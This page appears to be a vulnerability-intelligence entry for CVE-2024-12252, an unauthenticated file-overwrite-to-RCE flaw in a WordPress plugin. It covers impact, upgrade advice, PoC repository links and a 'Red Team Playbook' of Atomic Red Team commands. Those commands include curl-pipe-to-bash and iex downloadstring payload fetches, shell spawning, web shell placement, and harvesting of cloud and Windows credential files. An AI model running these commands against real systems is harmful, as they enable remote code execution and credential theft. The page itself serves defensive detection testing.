CVE-2024-12252
Overview
This vulnerability is a file overwrite flaw caused by a missing capability check in the SEO LAT Auto Post WordPress plugin. Specifically, the remote_update AJAX action lacks proper authorization validation, allowing unauthorized requests to modify critical plugin files. The affected component is the remote_update handler in all plugin versions up to and including 2.2.1.
Vulnerability Description
The SEO LAT Auto Post plugin for WordPress is vulnerable to file overwrite due to a missing capability check on the remote_update AJAX action in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to overwrite the seo-beginner-auto-post.php file which can be leveraged to achieve remote code execution.
Impact
An unauthenticated attacker can overwrite the seo-beginner-auto-post.php file remotely, enabling arbitrary code execution within the WordPress environment. This requires no user interaction or authentication and can be triggered over the network. Successful exploitation can lead to full site compromise, including data breach, defacement, or persistent backdoor installation, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N).
Solution
Users of the SEO LAT Auto Post plugin should upgrade to version 2.2.2 or later, where the missing capability check on the remote_update AJAX action has been implemented. Detailed patch and remediation instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/67df10cc-ce3c-4157-9860-7e367062f710. No alternative workarounds are recommended; applying the official update is required to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the SEO LAT Auto Post plugin for WordPress stems from a critical oversight in the implementation of capability checks within the remote_update AJAX action. This flaw allows unauthenticated users to interact with the plugin's functionality without proper authorization, specifically enabling them to overwrite the seo-beginner-auto-post.php file. The absence of stringent access controls means that attackers can exploit this weakness to inject malicious code, leading to potential remote code execution. The implications of such a vulnerability are severe, as it compromises the integrity of the web application and could lead to further exploitation of the underlying server.
Attack vectors for this vulnerability are straightforward, as they do not require any form of authentication. An attacker can craft a specially designed request to the vulnerable AJAX endpoint, triggering the file overwrite mechanism. Once the attacker successfully overwrites the seo-beginner-auto-post.php file, they can insert arbitrary PHP code that will be executed on the server. This exploitation can be executed remotely, making it particularly dangerous as it does not necessitate physical access to the server or prior knowledge of the system. Scenarios may include deploying a web shell, which would grant the attacker persistent access to the server, or redirecting users to malicious sites, thereby facilitating phishing attacks or further malware distribution.
The real-world impact of this vulnerability is significant, especially for businesses relying on WordPress for their online presence. Given the popularity of WordPress as a content management system, a successful exploitation could lead to widespread compromise of numerous websites, resulting in data breaches, loss of customer trust, and potential legal ramifications. The business risks associated with such incidents extend beyond immediate financial losses; they can include reputational damage, regulatory fines, and the costs associated with incident response and recovery efforts. Additionally, if sensitive customer data is exposed, the long-term consequences could be detrimental to an organization's viability.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security audits and vulnerability assessments should be conducted to identify outdated plugins and themes that may harbor similar weaknesses. Organizations should also ensure that all software components, including plugins and the WordPress core, are kept up to date with the latest security patches. Employing a web application firewall can provide an additional layer of protection by filtering out malicious requests before they reach the vulnerable endpoint. Furthermore, implementing strict access controls and monitoring for unusual activity can help in early detection of exploitation attempts.
In conclusion, the vulnerability within the SEO LAT Auto Post plugin highlights the critical need for robust security practices in web application development and maintenance. The ease with which an attacker can exploit this flaw underscores the importance of thorough capability checks and secure coding practices. Organizations must remain vigilant and proactive in their security posture to mitigate the risks associated with such vulnerabilities, ensuring the safety and integrity of their web applications and the data they handle.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-12252
SEO LAT Auto Post <= 2.2.1 - Missing Authorization to File Overwrite/Upload (Remote Code Execution)
|
Nxploited | 1 | 0 | 2025-03-26 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
RandomRobbieBF/CVE-2024-12252
SEO LAT Auto Post <= 2.2.1 - Missing Authorization to File Overwrite/Upload (Remote Code Execution)
|
RandomRobbieBF | 0 | 0 | 2025-01-07 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12252 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/67df10cc-ce3c-4157-9860-7e367062f710?source=cve |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/seo-beginner-auto-post/ |